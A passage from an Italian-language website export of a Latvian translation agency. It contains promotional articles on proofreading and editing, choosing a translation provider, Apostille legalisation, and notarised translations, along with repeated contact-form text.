stampa ben pianificate, ruba il cuore dei potenziali clienti mandando messaggi in un contesto virtuale. A loro volta, i social network permettono di intessere relazioni più strette con i clienti. La strategia di marketing che rende il vostro prodotto unico potrebbe perdersi nella traduzione se non ci si affida ad un servizio di localizzazione dei contenuti per il marketing. Per saperne di più ANNUNCI GOOGLE E SEO SERVIZI DI TRADUZIONE Traducendo il vostro sito web in lingue diverse, lo renderete più competitivo. I nostri specialisti si occuperanno di localizzare il vostro sito web attenendosi agli ultimi principi SEO, così da farlo apparire nella migliore posizione possibile nei risultati organici dei motori di ricerca. Ma i nostri specialisti si occuperanno anche di adattare le parole chiave degli annunci Google, per far sì che i vostri potenziali clienti possano trovarvi con facilità. Per saperne di più TRADUZIONE DI SITI WEB Tradurre siti web non è mai stato così facile! I servizi di localizzazione e di traduzione forniti dai nostri specialisti garantiscono siti web che vanno incontro ai bisogni e alle caratteristiche della regione o del mercato di riferimento. Per saperne di più AVETE BISOGNO DI UN SERVIZIO DI LOCALIZZAZIONE DI CONTENUTI PER IL DIGITAL MARKETING? Il digital marketing, in cui sono inclusi anche siti web e campagne stampa ben pianificate, ruba il cuore dei potenziali clienti mandando messaggi in un contesto virtuale. A loro volta, i social network permettono di intessere relazioni più strette con i clienti. La strategia di marketing che rende il vostro prodotto unico potrebbe perdersi nella traduzione se non ci si affida ad un servizio di localizzazione dei contenuti per il marketing. Per saperne di più ANNUNCI GOOGLE E SEO SERVIZI DI TRADUZIONE Traducendo il vostro sito web in lingue diverse, lo renderete più competitivo. I nostri specialisti si occuperanno di localizzare il vostro sito web attenendosi agli ultimi principi SEO, così da farlo apparire nella migliore posizione possibile nei risultati organici dei motori di ricerca. Ma i nostri specialisti si occuperanno anche di adattare le parole chiave degli annunci Google, per far sì che i vostri potenziali clienti possano trovarvi con facilità. Per saperne di più --- > Qual è la differenza tra correzione di bozze ed editing? Quando è necessaria la correzione di bozze e quali sono gli errori che un revisore corregge. - Published: 2024-02-14 - Modified: 2024-08-22 - URL: https://skrivanek.lv/kas-ir-teksta-korektura-un-kad-to-izmantot/ - Kategorijas: Articolo - Translation Priorities: Optional CHE COS’È LA CORREZIONE DI BOZZE E QUANDO SI USA? Che sia un testo originale o una traduzione, qualsiasi testo scritto sarà inevitabilmente sottoposto a revisione e correzione di bozze, controllando quindi la grammatica (ortografia, punteggiatura, errori di battitura), la terminologia, le sfumature culturali e stilistiche della lingua e la sintassi. Anche se gli autori sono spesso sicuri dell’accuratezza del proprio testo e della comprensibilità delle proprie idee, i professionisti del settore che lavorano tutti i giorni con la scrittura e con la correzione di testi ci ricordano che è molto difficile correggere i propri testi, soprattutto se bisogna consegnare un testo appena scritto e non si ha tempo di rileggerlo da freschi il giorno dopo. Inoltre, non tutti hanno una grande sensibilità linguistica e un’eccellente conoscenza della grammatica; si sa che ad esempio in lettone la punteggiatura pone non pochi problemi. In questi casi, revisori e correttori di bozze professionisti possono essere di aiuto. REVISORE E CORRETTORE DI BOZZE, REVISIONE E CORREZIONE DI BOZZE: COSA SIGNIFICA? Chi non lavora nell’ambito delle scienze morbide può a volte confondere i termini. Approfondiamo le professioni e i compiti di un revisore e di un correttore di bozze e cosa significano revisione e correzione di bozze. Revisore e correttore di bozze: le differenze In pratica, il revisore organizza e supervisiona i cambiamenti da apportare nei media, come ad esempio stampa, radio, televisione, media elettronici, case editrici, implementa il design generale e l’idea di base della pubblicazione e gestisce il lavoro relativo ad un determinato libro o giornale, cooperando con giornalisti, autori, traduttori, impaginatori e correttori di bozze. Il correttore di bozze corregge gli errori grammaticali nei testi. Oggigiorno, quando i testi sono scritti al computer la grammatica è spesso controllata utilizzando strumenti di controllo ortografico. Il correttore di bozze fa quindi un lavoro simile alla revisione letteraria: corregge lo stile e suggerisce all’autore come migliorare la fluidità del testo. È quindi importante informare sempre il correttore di bozze sul pubblico e il tono che si vuole dare al testo. Revisione e correzione di bozze: le differenze La correzione di bozze è affidata ad un professionista laureato in filologia, mentre la revisione è svolta da un esperto del settore, il quale è molto preparato sia nella lingua che nella cultura di riferimento, proprio come un traduttore si specializza in un particolare settore e nella sua terminologia così da produrre traduzioni accurate, coerenti e adatte al contesto Il compito del revisore è quello di leggere ogni documento come se fosse un testo a sé e occuparsi non solo di cercare possibili errori, ma anche di rendere il contenuto più comprensibile, prestando attenzione alla sintassi e ad altre importanti sfumature. Quando si ricorre ai servizi di correzione di bozze e perché La correzione di bozze è necessaria per garantire che siano assenti errori di traduzione ed errori ortografici non rilevati dagli strumenti di controllo ortografico, che le virgole siano ben posizionate, che non ci siano caratteri speciali mancanti e che il testo sia stilisticamente corretto, accattivante, adatto al suo scopo, rispettoso e di facile comprensione per il pubblico di riferimento. Che abbiate bisogno di una traduzione o semplicemente di una revisione di un testo scritto, un servizio di correzione di bozze offre un punto di vista esterno che garantisce qualità e che aiuta a creare una prima impressione professionale. ERRORI CORRETTI DAL CORRETTORE DI BOZZE Punteggiatura Nello scritto, ci sono due aspetti da considerare: la corretta scrittura delle parole, detta anche ortografia, e la divisione e connessione delle unità, detta anche punteggiatura. Lingue diverse hanno segni di interpunzione e regole grammaticali differenti, il che mette il lettore nelle condizioni di capire e interpretare il testo in modo chiaro e corretto. Sarebbe difficile leggere un testo in cui tutte le parole sono scritte in maniera scorretta e in cui sono assenti tutte le ‘h’. Sarebbe un ostacolo alla comprensione delle idee del testo anche l’assenza di segni di punteggiatura. In lettone, la punteggiatura è molto importante non solo a fine frase, come ad esempio il punto fermo, il punto interrogativo, il punto esclamativo o i puntini di sospensione, dato che determina l’intonazione e il significato, ma anche all’interno della frase, come ad esempio virgole, trattini, due punti, punto e virgola, dato che aiuta a strutturare il testo e a introdurre importanti differenze concettuali e sfumature. Nel caso della punteggiatura, non basta imparare soltanto le regole grammaticali; Il suo uso dipende spesso dallo stile e dalla funzione del testo. Narrativa, letteratura scientifica, ricerca accademica, giornalismo, articoli che trattano di economia: ogni genere ha le proprie caratteristiche, le quali aiutano a trasmettere il contenuto in modo diretto e accurato. È nella narrativa che si hanno più possibilità di utilizzare la punteggiatura per riflettere non solo la struttura grammaticale delle frasi, ma anche varie sfumature di intonazioni e concettuali. Tuttavia, l’interpunzione è altrettanto importante nel cosiddetto copywriting, cioè quindi nella pubblicità, nelle sezioni descrittive di siti web, nei comunicati stampa, ecc. Ortografia L'ortografia è il modo convenzionalmente corretto di scrivere le parole di una lingua. Qui il correttore di bozze deve assicurarsi che tutte le lettere maiuscole siano al loro posto ricordandosi che, ad esempio, in lettone quando si scrivono i nomi di ordini tutte le parole vanno scritte con la lettera maiuscola, eccetto per la parola “ordine”; nei nomi degli istituti invece è maiuscola solo la prima lettera. Inoltre egli deve anche assicurarsi che tutti i macron siano posti nelle lettere giuste, che parole complicate siano scritte correttamente e che siano rispettate le eccezioni alle regole. Analogamente, nei testi stampati è importante anche andare a capo correttamente. Tuttavia, in traduzioni più complesse, bisogna prestare attenzione anche alle parole straniere, dato che hanno spesso un’ortografia inusuale. Errori stilistici e stilistica La stilistica è l’abilità che ha la lingua di esprimere informazioni aggiuntive che riguardano il contesto comunicativo e l’attitudine di chi scrive o parla verso il messaggio o verso il lettore. Questi sono gli errori stilistici che l’insegnante di stilistica che avevamo a scuola era solito sottolinearci sul quaderno. Gli errori di stile riguardano l’uso inappropriato per la situazione comunicativa di espressioni marcate da un punto di vista stilistico o emotivo. Di fatti, ci sono parole e strutture sintattiche che possono essere utilizzate tranquillamente nella vita di tutti i giorni e nei messaggi con gli amici, ma che non dovrebbero mai essere utilizzate in un’e-mail di lavoro formale o in un contratto con valore legale. Un correttore di bozze ha una sviluppata nonché eccellente capacità di analizzare la lingua e l’abilità di selezionare le parole adatte per la specifica situazione comunicativa; questa figura saprà quindi quando usare uno slang colorito o quando è meglio optare per un linguaggio più formale. Un correttore di bozze lavora nella propria lingua madre I consigli del correttore di bozze o del revisore sono utili non soltanto a traduzione eseguita, ma anche per la creazione di testi per il marketing, dove è molto importante evitare errori ortografici e preparare testi che siano attraenti per il pubblico di riferimento. Nelle agenzie di traduzione, i correttori di bozze lavorano con testi scritti nella loro lingua madre, il che garantisce non soltanto correttezza grammaticale, ma anche il rispetto della cultura e delle tradizioni della lingua. Di fatti, il correttore di bozze conosce la fraseologia e le varie espressioni la cui traduzione letterale è impossibile. Egli perfeziona il testo e garantisce che la traduzione sia comprensibile e suoni naturale nella lingua di arrivo. È proprio per questo che Skrivanek si assicura sempre che ogni traduzione sia prima controllata da un correttore di bozze madrelingua. --- > Che cos'è la traduzione? Quali servizi di traduzione offrono le agenzie di traduzione e come scegliere un fornitore di traduzioni? - Published: 2024-02-14 - Modified: 2024-08-22 - URL: https://skrivanek.lv/tulkosana-kadel-to-uzticet-profesionaliem/ - Kategorijas: Articolo - Translation Priorities: Optional TRADUZIONE - PERCHÉ AFFIDARSI A DEI PROFESSIONISTI? COSA SONO I SERVIZI DI TRADUZIONE? La lingua è uno degli strumenti più importanti per andare avanti nella vita; la usiamo per trasmettere informazioni, per esprimere emozioni, idee e opinioni, per instaurare relazioni professionali e private e la usiamo anche per pensare. Essendo più di 4. 000 le lingue del mondo con almeno 1. 000 parlanti, i servizi di traduzione giocano un ruolo molto importante nel garantire una comunicazione e uno scambio di informazioni tra persone, tra azienda e cliente, tra partner commerciali, tra enti governativi, ecc. veloci, di alta qualità e privi di errori. Al giorno d’oggi, le agenzie di traduzione forniscono molti servizi professionali, tra cui figurano non solo la resa di informazioni scritte e orali da una lingua ad un altra, ma anche traduzioni notarili, creazione o adattamento/localizzazione di contenuti (pubblicità, homepage, SEO, ecc. ), assistenza tecnica in eventi online e formattazione o digitalizzazione di documenti. AGENZIA DI TRADUZIONE - PROFESSIONALITÀ ED ESPERIENZA Nella realizzazione di documenti importanti e di progetti e lavori complessi, la cooperazione con un’agenzia di traduzione è molto importante. Un’agenzia di traduzione competente e certificata lavora con specialisti altamente qualificati ed accreditati che dispongono delle competenze necessarie e che hanno alle spalle formazione ed esperienza nel loro campo adeguate. Essi non conoscono solo le lingue, ma sono anche preparati in altri settori, così da poter lavorare con documenti e testi di diversi argomenti e livelli di complessità. Per svolgere una traduzione per un settore specifico, è importante che l’interprete o il traduttore conosca anche la terminologia e le norme linguistiche a cui attenersi. Inoltre, i traduttori professionisti hanno accesso a diversi dizionari, risorse online e software di traduzione tecnologicamente avanzati, i quali aiutano a garantire l’accuratezza della traduzione. Affidandovi ad un’agenzia di traduzione, avrete accesso a professionisti di alto livello che lavorano con una vasta gamma di combinazioni linguistiche, come anche ad un importantissimo supporto nella gestione del progetto. Quest’ultimo garantisce qualità, rispetto delle scadenze e, nel lungo termine, vi farà risparmiare tempo e denaro. Il prezzo della traduzione viene solitamente calcolato sulla base del numero di parole nel testo di partenza (l’originale), ma anche il termine di consegna del lavoro può influire. Quest’ultimo viene solitamente concordato tra il cliente e l’agenzia di traduzione, ma di regola se il testo da tradurre ha meno di 500 parole sarà necessario un giorno lavorativo, mentre fino a 1000 ci sarà bisogno di mezza giornata lavorativa in più. TRADUTTORE E INTERPRETE: QUALI SONO LE DIFFERENZE? Sono due gli specialisti della traduzione: gli interpreti, i quali forniscono traduzioni orali, e i traduttori, che invece si occupano di quelle scritte. Le traduzioni scritte comprendono documenti, contratti, fatture, testi pubblicitari e siti web, libri, pubblicazioni scientifiche e altre tipologie testuali. Di solito, l'agenzia di traduzione indica gli ambiti e i settori in cui opera, come ad esempio il settore sanitario, legale, economico, dell’agricoltura, ecc. Anche il traduttore dovrà quindi essere esperto in tali settori, così da garantire un lavoro di alta qualità e con un uso coerente nonché corretto della terminologia. Ci sono due tipi di interpretazione: consecutiva e simultanea. L'interpretazione simultanea avviene mentre l’oratore parla, perciò è spesso utilizzata in occasione di seminari, conferenze ed eventi commerciali, ma a volte anche in occasione di eventi culturali come possono essere rappresentazioni teatrali o proiezioni di film. In questi casi l’interprete lavora con un’apparecchiatura speciale: mentre l'oratore parla davanti al pubblico, l'interprete si trova in una cabina insonorizzata e traduce, mentre i partecipanti all’evento ascoltano la traduzione con delle cuffie. L'interpretazione consecutiva è un'interazione tra l'oratore e il traduttore: il traduttore ascolta ciò che l’interlocutore dice e poi lo traduce in un'altra lingua. Essa viene utilizzato in incontri di lavoro con pochi partecipanti o per presentazioni. TRADUZIONI DI DOCUMENTI Prima di recarsi in un paese straniero dove il documento in questione deve essere presentato ad un'istituzione, si raccomanda di informarsi preventivamente se esso deve essere certificato con un’Apostilla. Nel caso in cui sia necessaria la traduzione di un documento pubblico, come possono essere certificati di nascita, certificati di matrimonio, diplomi di istruzione, certificati e procure rilasciate dallo stato, è bene informarsi prima se l’agenzia di traduzione si occupa anche di traduzioni notarili. L’autenticazione notarile rende legale il documento tradotto; un traduttore qualificato certifica la traduzione con la propria firma e si prende la responsabilità dell’accuratezza della traduzione, mentre un notaio certifica la firma del traduttore. Si noti che solo i documenti emessi nella Repubblica di Lettonia possono essere certificati con un’apostilla da un notaio. SERVIZI DI TRADUZIONE E DI CORREZIONE DI BOZZE Su ogni testo scritto viene eseguita la correzione di bozze e la revisione. Di solito, un’agenzia di traduzione lavora con correttori di bozze e revisori, così che altri linguisti professionisti possano controllare con attenzione la grammatica, le sfumature stilistiche, le costruzioni delle frasi e la fluidità della traduzione. Questo servizio è spesso incluso nel prezzo del lavoro. L'agenzia di traduzione Skrivanek impiega solamente correttori di bozze nativi della lingua di arrivo, garantendo così traduzioni comprensibili e grammaticalmente corrette. LOCALIZZAZIONE DELLE TRADUZIONI Accade spesso che i clienti non abbiano bisogno di una semplice traduzione, ma di un servizio di localizzazione e adattamento del testo di partenza al pubblico di riferimento. Di fatti, per raccontare la storia dell’azienda e per trasmettere i suoi valori, il suo messaggio e le caratteristiche tecniche del prodotto nella lingua di arrivo in modo professionale e accurato, è importante comunicare con un tono adeguato, nonché scegliere il vocabolario, la fraseologia e i termini appropriati. In settori come quello della pubblicità e nel marketing, la base della traduzione l'adattamento. La ricerca sulla traduzione e sull’importanza di adattarle in modo da raggiungere il pubblico di riferimento mostra che, nonostante il dominio a livello mondiale della lingua inglese, una campagna pubblicitaria o un sito web tradotto e adattato nella lingua di arrivo ottiene risultati migliori. Ad esempio, gli annunci di Facebook con testo localizzato hanno una percentuale di clic (Click-through rate, CTR) più alta del 22% per le donne e dell'87% per gli uomini; il 46% delle ricerche effettuate su Google ha come oggetto informazioni locali e sono svolte nella lingua nazionale; il 75% dei consumatori è più propenso a considerare un acquisto se il servizio è fornito nella propria lingua madre. COME SCEGLIERE UN FORNITORE DI SERVIZI DI TRADUZIONE Se avete spesso bisogno di servizi di traduzione per uso personale o per la vostra attività, è molto importante stabilire una cooperazione di successo e a lungo termine con un’agenzia di traduzione che garantisca traduzioni svolte in modo rapido e di alta qualità. Innanzitutto dovete sapere di cosa avete necessità; di che tipo di traduzioni avete bisogno? Se lavorate nel marketing, è importante che le traduzioni siano anche localizzate sulla base della cultura della lingua di arrivo. Ma, se l’agenzia di traduzione si occupa anche della certificazione notarile, la traduzione di documenti incontrerà meno ostacoli. Qual’è il vostro pubblico? La traduzione sarà letta dai vostri clienti o dai vostri partner commerciali? Avete bisogno solo di traduzioni scritte o anche di servizi di interpretazione? In quali combinazioni linguistiche saranno necessarie le traduzioni? È importante che un’agenzia di traduzione impieghi traduttori le cui lingue di lavoro sono quella di partenza e quella di arrivo. Cooperazione a lungo termine e feedback dei clienti Quello della traduzione è un settore in rapida crescita e perfino in una piccola nazione come la Lettonia le agenzie di traduzione non mancano. Nei loro siti si possono solitamente vedere i loro clienti e progetti più importanti, ma si possono anche fare domande sull’esperienza che esse hanno nel lavorare per un determinato settore, specialmente se sono necessarie traduzioni tecnicamente complesse e che richiedono una terminologia specifica. Un’agenzia di traduzione dovrebbe fornire traduzioni di alta qualità rispettando le scadenze. Sarete in contatto con un project manager in grado di rispondere a tutte le vostre domande e che si assicurerà che il lavoro venga assegnato ad un traduttore adatto e che esso sia eseguito rispettando i termini di consegna e gli standard qualitativi. Egli si occuperà anche di fornirvi il prezzo della traduzione al momento dell’ordine. Certificati di qualità Tra gli altri, sono anche i vari certificati ISO a confermare che l’agenzia di traduzione rispetta i requisiti di un sistema di gestione di qualità e che lavora solo con interpreti, traduttori, revisori e correttori di bozze professionisti. Il sistema di gestione di qualità garantisce che i servizi vengano svolti nel nome della qualità e della riservatezza. EN ISO 9001: l’agenzia di traduzione mette in atto i processi necessari affinché la qualità dei servizi soddisfi i bisogni dei clienti e i requisiti degli atti normativi. Il certificato EN ISO 14001 conferma l’interesse della nostra azienda per l’ambiente. Di fatti, per lo svolgimento delle nostre attività utilizziamo solo tecnologie e materiali green, effettuiamo la raccolta differenziata e stampiamo solo i documenti necessari. EN 17100: il processo di selezione di specialisti della traduzione, la comunicazione, la gestione dei progetti, il flusso di lavoro, l’uso della tecnologia ed altri aspetti legati al settore soddisfano i requisiti stabiliti. ISO/IEC 27001: nell’agenzia di traduzione sono state implementate misure per la protezione delle informazioni ed è assicurato lo svolgimento dei controlli necessari, così da garantire la sicurezza nonché riservatezza dei dati affidatici dai nostri clienti. ISO 18587: Questo certificato si riferisce ai processi di post-editing di testi tradotti con traduzione automatica e al lavoro congiunto del project manager e del revisore finalizzato all’esecuzione del progetto. SKRIVANEK OPERA NEL CAMPO DEI SERVIZI DI TRADUZIONE DA OLTRE 25 ANNI Con quasi cinquanta filiali in diversi paesi del mondo, siamo uno dei maggiori fornitori di servizi linguistici del mondo. La filiale lettone, il cui ufficio si trova nel centro di Riga, è stata aperta nel 2003. I nostri clienti spaziano da enti statali a grandi aziende, ma lavoriamo anche con persone fisiche. Ci occupiamo di complessi progetti su larga scala ogni giorno, ma svolgiamo anche la traduzione di documenti di diverse dimensioni, garantendo prezzi accessibili, qualità e rispetto delle scadenze. La missione di Skrivanek è quella di aiutare i clienti ad esplorare il mondo e a sviluppare la propria attività. Il nostro team internazionale fornisce servizi di traduzione in più di 110 lingue, utilizza in modo professionale le ultime tecnologie di traduzione e offre servizi di correzione di bozze svolti da nativi della lingua di arrivo. Oggigiorno, le comunicazioni con il cliente che riguardano i servizi di cui necessitano possono essere svolte da remoto; tutto ciò di cui avete bisogno è un indirizzo e-mail. Se avete bisogno di servizi di traduzione, contattateci o venite nel nostro ufficio di Riga in Lāčplēša iela 87C, dove sarete accolti da professionisti del settore. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia --- > Come vengono legalizzati i documenti con l'Apostilla? Che cos'è un'Apostilla? Quali documenti la richiedono? Scoprite le risposte in questo articolo! - Published: 2024-02-14 - Modified: 2024-08-22 - URL: https://skrivanek.lv/kas-ir-apostille/ - Kategorijas: Articolo - Translation Priorities: Optional CHE COS'È UN'APOSTILLA? Le agenzie di traduzione si occupano spesso della traduzione di documenti pubblici ufficiali. In questi casi, è necessario verificare che il funzionario che ha firmato il documento lavori davvero in Lettonia e che la sua firma e il sigillo nel documento siano autentici, così che i documenti prodotti in una nazione abbiano lo stesso effetto legale al di fuori di essa. Questo processo è diventato molto più semplice grazie alla Convenzione dell'Aia. Nel caso in cui il documento sia stato emesso in un paese straniero che è membro della Convenzione dell’Aia del 5 ottobre 1961 riguardante “l'abolizione della legalizzazione di atti pubblici stranieri”, è necessario certificare l’autenticità del documento mediante un timbro speciale, detto apostilla. Essa è apposta presso un determinato ente della nazione che ha emesso il documento e un documento così certificato non dovrà essere certificato nuovamente nel caso in cui debba essere utilizzato in uno dei 100 stati della Convenzione dell’Aia, come ad esempio in Lettonia, Polonia, Grecia e Cile. Nella Repubblica di Lettonia, la Convenzione dell'Aia è entrata in vigore il 30 gennaio 1996. QUALI DOCUMENTI RICHIEDONO L'APOSTILLA? La certificazione di documenti mediante apostilla ha un ruolo importante in varie situazioni, come ad esempio per trasferirsi in un’altra nazione, per studiare o lavorare all’estero, per sposare o divorziare da un cittadino di un altro paese, per aprire un conto in banca o per sistemare i documenti relativi all’eredità in un altro stato, ecc. Documenti pubblici come certificati di nascita, di matrimonio, diplomi, certificati di casellario giudiziale, certificati sanitari, come anche varie autorizzazioni emesse dallo stato, ecc. necessitano la certificazione con apostilla. COME SI EFFETTUA LA LEGALIZZAZIONE CON APOSTILLA? In precedenza, la legalizzazione mediante apostilla di documenti pubblici emessi in Lettonia era svolta solo dal dipartimento consolare del Ministero degli affari esteri della Repubblica di Lettonia. Tuttavia, dal 1 luglio 2019 tale legalizzazione può essere svolta in tutto il paese da notai e i documenti emessi elettronicamente possono essere certificati con apostilla da remoto. Prima di recarsi in un paese straniero dove il documento in questione deve essere presentato ad un'istituzione, si consiglia di informarsi preventivamente se esso deve essere certificato con un’Apostilla o meno. Si noti che solo i documenti emessi nella Repubblica di Lettonia possono essere certificati con un’apostilla da un notaio. Il processo in sé è semplice e veloce: bisogna portare da un notaio il documento originale e il proprio passaporto o carta di identità e, nel caso in cui nel database delle firme sia già presente la firma e il sigillo del funzionario che ha emesso il documento, esso può essere certificato in un giorno lavorativo. È possibile anche affidarsi ad un’agenzia di traduzione per svolgere questo procedimento. TRADUZIONI NOTARILI DI DOCUMENTI PRESSO SKRIVANEK Quando si tratta di traduzioni di documenti pubblici, il compito del notaio è quello di assicurarsi che il traduttore abbia istruzione e qualifiche adeguate e di avvertirlo delle sue responsabilità di cui gli articoli 300 e 302 del diritto penale della Repubblica di Lettonia nel caso in cui si forniscano di proposito traduzioni false o incorrette. Per facilitare il processo di legalizzazione dei documenti, l’agenzia di traduzione Skrivanek fornisce traduzioni certificate da un notaio. Ciò significa che la traduzione di un determinato documento è prima certificata con la firma di un traduttore certificato, la quale è a sua volta certificata da un notaio. Offriamo traduzioni autenticate da un notaio in oltre 110 lingue. CONSIGLI PER LA PREPARAZIONE DEI DOCUMENTI Affinché un notaio possa certificare la traduzione, il documento originale deve essere completo e legalmente valido, cioè deve includere le seguenti informazioni: il nome della persona che ha preparato il documento, la data di preparazione dello stesso, il luogo dove esso è stato preparato, emesso e firmato, e la/le firma/e. Possiamo aiutarvi anche nel caso in cui abbiate bisogno di presentare elettronicamente una traduzione certificata da un notaio mediante firma elettronica, il cui testo originale è tuttavia in formato cartaceo. In questi casi, prepariamo prima la traduzione del documento originale in formato cartaceo, la quale è firmata dal traduttore e certificata da un notaio, e la alleghiamo al documento originale o a una sua copia certificata. La traduzione completa in formato cartaceo viene quindi scannerizzata per essere nuovamente certificata da un notaio mediante firma elettronica. A seconda delle esigenze, possiamo inviare traduzioni certificate in vari formati, come edoc, asic-e o PDF. La traduzione certificata di un documento firmato elettronicamente è preparata direttamente elettronicamente. Questo servizio è disponibile sia in formato edoc che in formato asic-e, ma non in PDF. AVETE BISOGNO DI UNA TRADUZIONE CERTIFICATA DA UN NOTAIO O DELLA LEGALIZZAZIONE DI UN DOCUMENTO MEDIANTE APOSTILLA? CONTATTATECI! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia --- > Che cos'è una traduzione autenticata? Per quali documenti e in quali casi è necessaria? Scopritelo in questo articolo! - Published: 2024-02-14 - Modified: 2024-08-22 - URL: https://skrivanek.lv/kados-gadijumos-nepieciesams-notariali-apliecinats-tulkojums/ - Kategorijas: Articolo - Translation Priorities: Optional QUANDO È CHE È NECESSARIA UNA TRADUZIONE AUTENTICATA DA UN NOTAIO? Nel caso in cui abbiate bisogno di tradurre dei documenti, vale la pena affidarsi ad un’agenzia di traduzione che si occupa anche la della loro certificazione notarile. Essa è necessaria per documenti come certificati di nascita, di matrimonio, diplomi, certificati di casellario giudiziale, certificati sanitari, varie autorizzazioni emesse dallo stato, ecc. Questo tipo di traduzione comporta la certificazione della traduzione con la firma di un traduttore qualificato, a sua volta certificata da quella di un notaio, il cui compito è quello di garantire che il traduttore abbia la formazione e le qualifiche necessarie per eseguire la traduzione. Il traduttore invece, ha la responsabilità di garantire che la traduzione sia fedele al documento originale. TRADUZIONI CERTIFICATE DA UN NOTAIO NEGLI STATI MEMBRI DELLA CONVENZIONE DELL'AIA Nel caso in cui il documento sia stato emesso in una nazione parte della Convenzione dell’Aia del 5 ottobre 1961 riguardante “l'abolizione della legalizzazione di atti pubblici stranieri”, le traduzioni di documenti con apostilla sono certificate da un ente autorizzato nella nazione di emissione. La Convenzione dell'Aia ha semplificato in modo significativo il processo di traduzione notarile; una volta che il documento è certificato con un’apostilla, non è necessario certificarlo nuovamente in nessuno dei più dei 100 stati parte della Convenzione dell’Aia. Nella Repubblica di Lettonia, la Convenzione dell'Aia è entrata in vigore il 30 gennaio 1996. In precedenza, la legalizzazione mediante apostilla di documenti pubblici emessi in Lettonia era svolta solo dal dipartimento consolare del Ministero degli affari esteri della Repubblica di Lettonia. Tuttavia, dal 1 luglio 2019 tale legalizzazione può essere svolta in tutto il paese da notai e i documenti emessi elettronicamente possono essere certificati con apostilla da remoto. Tuttavia, se il documento è stato rilasciato in Lettonia ed è destinato ad essere utilizzato in un Paese che non è parte della Convenzione dell'Aia, esso deve essere prima legalizzato presso il dipartimento consolare del Ministero degli affari esteri della Repubblica di Lettonia. Il processo in sé è semplice e veloce: bisogna portare da un notaio il documento originale e il proprio passaporto o carta di identità e, nel caso in cui nel database delle firme sia già presente la firma e il sigillo del funzionario che ha emesso il documento, esso può essere certificato in uno o due giorni. TIPOLOGIE DI TRADUZIONI CERTIFICATE DA UN NOTAIO Certificazione allegata al documento originale: in questo caso, una traduzione certificata da un traduttore qualificato, la cui firma è a sua volta certificata da un notaio, è allegata al documento originale. Certificazione allegata alla copia del documento: in questo caso, il documento originale è fotocopiato e alla sua fotocopia viene allegata la traduzione certificata da un traduttore certificato. La fotocopia della traduzione è certificata dal notaio solo in presenza del documento originale. COME PREPARARE IL DOCUMENTO ORIGINALE Affinché un notaio possa certificare la traduzione, il documento originale deve essere completo e legalmente valido, cioè deve includere le seguenti informazioni: il nome della persona che ha preparato il documento, la data di preparazione dello stesso, il luogo dove esso è stato preparato, emesso e firmato, e la/le firma/e. Ulteriori informazioni sulla preparazione dei documenti sono contenute nel Regolamento del Consiglio dei Ministri del 28 settembre 2010 n. 916 "Procedure per la redazione e la preparazione dei documenti". In alcune situazioni, ci potrebbe essere bisogno anche di presentare elettronicamente traduzioni certificate mediante firma elettronica, il cui documento originale è tuttavia in formato cartaceo. In questi casi, l’agenzia di traduzione prepara la traduzione del documento in formato cartaceo, il traduttore e il notaio la certificano, quindi tale traduzione è allegata al documento originale o a una copia autenticata. La traduzione del documento è scannerizzata e poi certificata nuovamente da un notaio mediante firma elettronica. Tuttavia, è anche possibile preparare una traduzione autenticata di un documento firmato elettronicamente direttamente in formato elettronico. PERCHÉ SCEGLIERE SKRIVANEK? L'agenzia di traduzione Skrivanek offre traduzioni certificate in oltre 110 lingue. Possiamo allegarle al documento originale o a una copia certificata in conformità con le leggi della Repubblica di Lettonia. L’accuratezza e la fedeltà della traduzione all’originale sono certificate da un notaio, ma è il traduttore giurato che si prende la completa responsabilità della qualità della traduzione. Qualità e garanzia di protezione dei dati Siamo tra i 100 maggiori fornitori di servizi di traduzione al mondo. Abbiamo implementato i processi necessari per far sì che i nostri servizi soddisfino sia le richieste dei nostri clienti che i requisiti imposti dagli atti normativi. Skrivanek è stata la prima agenzia di traduzione dell'Europa centrale e dell’Europa dell’est a operare nel pieno rispetto della normativa sul sistema di gestione della qualità ISO 9001. Inoltre, Skrivanek garantisce che i metodi di lavoro e di verifica, nonché di riservatezza dei dati dei clienti, avvengano in conformità con il sistema di gestione della sicurezza delle informazioni ISO/IEC 27001:2022. Un team di professionisti Il nostro team internazionale di professionisti è il nostro punto di forza: interpreti, traduttori, revisori, correttori di bozze e copywriter specializzati in vari ambiti e settori forniscono una vasta gamma di traduzioni in diverse combinazioni linguistiche. Ci occupiamo di progetti di piccole o grandi dimensioni, tra cui anche traduzioni complesse da un punto di vista tecnico caratterizzate da una terminologia settoriale specifica. Velocità ed efficienza Sono più di 3. 000 i traduttori qualificati presenti nel database di Skrivanek, permettendoci quindi di fornire rapidamente traduzioni di qualità in ogni lingua. Prima di iniziare la traduzione, il cliente e il project manager decidono di comune accordo il termine di consegna del lavoro. Solitamente, per 